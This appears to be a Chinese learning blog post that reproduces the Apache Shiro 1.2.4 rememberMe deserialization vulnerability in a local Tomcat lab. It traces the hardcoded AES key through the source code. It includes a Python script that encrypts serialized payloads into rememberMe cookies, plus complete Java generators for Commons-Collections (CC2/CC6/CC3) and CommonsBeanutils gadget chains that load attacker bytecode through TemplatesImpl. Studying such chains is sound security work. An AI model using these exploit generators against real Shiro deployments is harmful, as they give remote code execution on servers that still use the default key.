java反序列化学习-shiro550复现+CC链与CB链的打法
1.环境搭建
github 上下载源码 https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
下载后再idea打开后编辑 shiro/samples/web 目录下的 pom.xml,将jstl的版本修改为1.2
并添加以下依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
如果打包后samples_web_war_exploded的lib没有该依赖,可以将commons-collections-3.2.1.jar手动复制到 tomcat的 lib目录下。
为什么要进行这一步呢?因为该shiro环境下默认是没有commons-collections的,如果我们之间打CC链会提示找不到,所以我们需要将该依赖添加进去。
下面是我进行maven碰到的问题以及解决方法。
[ERROR] jdk [ vendor='sun' version='1.6' ]
[ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.
这个问题只需要在用户的目录下的.m2目录下创建toolchains.xml,并写入以下内容
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>jdk的目录</jdkHome>
</configuration>
</toolchain>
</toolchains>
2.漏洞复现
2.1 漏洞原理
运行 Tomcat 服务并抓取登录响应包时,观察到响应包中已包含 rememberMe 字段:

为探究 Cookie 生成机制,在 IDEA 中使用双 Shift 全局搜索关键词 cookie,发现关键类 CookieRememberMeManager:

在该类的 getRememberedSerializedIdentity 方法中,发现对 Base64 数据的解码操作:

追踪该方法调用链,发现解密值被传入 convertBytesToPrincipals 方法:

在 convertBytesToPrincipals 中,进一步调用 decrypt 解密方法:

decrypt 方法通过 getDecryptionCipherKey() 获取密钥:

对该密钥变量右键 查找用法,定位到赋值方法 setCipherKey():

继续追踪至 setEncryptionCipherKey(),发现硬编码密钥 DEFAULT_CIPHER_KEY_BYTES:


最终确认密钥值为 kPH+bIxk5D2deZiIxcaaaA==:


反序列化操作定位在 decrypt 后的 deserialize 方法:


2.2 漏洞利用方法
基于上述分析,rememberMe Cookie 的处理流程清晰如下:
构造恶意的序列化对象作为 Payload。
使用硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== 对 Payload 进行 AES 加密。
对加密后的字节数组进行 Base64 编码。
将编码后的字符串设置为 rememberMe Cookie 的值发送给服务端。
服务端处理流程(漏洞触发点):
接收到的 rememberMe Cookie 值进行 Base64 解码。
使用相同的硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== 对解码后的数据进行 AES 解密。
将解密后的数据(即恶意序列化字节流)进行反序列化操作。
反序列化过程中执行了嵌入在 Payload 中的恶意代码。
3. exp编写
3.1 序列化数据加密流程实现
密钥准备:硬编码 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==(Base64 解码为 16 字节)
加密流程:
序列化恶意对象 → AES 加密(CBC 模式, PKCS5Padding) → Base64 编码
下面是通过python编写的序列化数据加密程序
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
3.2 CommonsCollections 利用链构造
因为在这个环境中反序列化无法加载数组类,原理就不多说了
因为无法加载数组类,所以回顾一下之前学的几条链,找一下哪些不用数组,最后找到的是cc2+cc6+cc3。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiroCC {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
//CC6
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazeMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazeMap.remove(templates);
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazeMap,invokerTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
private static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
3.3 CommonsBeanutils 利用链构造
JavaBean
是一种遵循特定编程约定的 Java 类,基本特征
- 私有属性:JavaBean 类会将数据封装成私有属性,以此来保证数据的安全性,防止外部代码直接对其进行修改。
- 公共访问方法:为每个私有属性提供对应的公共 getter 和 setter 方法,外界通过这些方法来访问和修改属性。
- 无参构造方法:JavaBean 必须包含一个无参的构造方法,这使得在创建对象实例时更加灵活,也便于一些框架(如 Spring)来实例化对象。
commonsBeautils就是可用通过PropertyUtils.getProperty来获取一个javabean的某一个变量的内容

这里getProperty方法就会自动调用person类的get\(name/\)age方法来获取名字或者年龄
显然这里就存在一个可能会动态执行代码的地方,跟到getProperty里面看看
发现里面调用了另一个对象的getProperty,在更进去看看,发现调用了getNestedProperty方法


然后看下面不满足那几个if条件会调用getSimpleProperty方法

然后接着就会有根据获取到的方法来进行反射调用

然后我们可以想到在TemplatesImpl类里面有个getOutputProperties方法,用到了newtransformer

我们知道newtramsformer是可以动态加载类的
然后注意到getOutputProperties是get打头的,是符合javabean的格式。然后结合cc3的templates,缝合一个暂时的代码.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class BeanTest {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaa");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
PropertyUtils.getProperty(templates,"outputProperties");
}
}
为什么里PropertyUtils.getProperty(templates,"outputProperties")第二个参数为outputProperties。
因为在调用getProperty方法的时候,会把get和传进去的参数进行拼接然后调用getOutputProperties方法,在这个过程中java会把传参内容的首字母变成大写,而当我们直接传首字母为大写的参数的时候,他并不会弹计算器,这是因为在java中是小驼峰读法,当第一个字母为大写的时候,会识别不到这个参数,就会导致后续的都不会执行
所以接下来要做的就是去找一个链子,看来头是能反序列化的,然后中间又是能调用getProperty方法,然后找到了BeanComparator的compare方法调用了getProperty,而且变量可控

然后想到在cc2的时候会用到优先队列,在优先队列里的readobjct里面会调用一个heapify,然后heapify会调siftDown,siftDown会调用siftDownUsingComparator方法,在这个方法里面会调用comparator的compare方法,然后再cc2里面还调用了TransformingComparator,然后他的comparer方法会调用transformer的transform方法和compare方法
所以这整条链就连起来了。
但是需要注意
BeanComparator的构造函数会传入一个ComparableComparator,而ComparableComparator实际上是cc里面的,

但是下面有另一个beanComparator的构造方法,可以自己传一个comparator(cb有或者jdk里面有就行了)

最后找到的代替(既要继承comparator接口也要继承serialize接口)是AttrCompare。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class ShiroCB
{
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
//CB
//BeanComparator beanComparator = new BeanComparator("outputProperties");
BeanComparator beanCompatator = new BeanComparator("outputProperties", new AttrCompare());
//CC2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> c = PriorityQueue.class;
Field comparator = c.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanCompatator);
Serialize(priorityQueue);
// unserialize("ser.bin");
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

浙公网安备 33010602011771号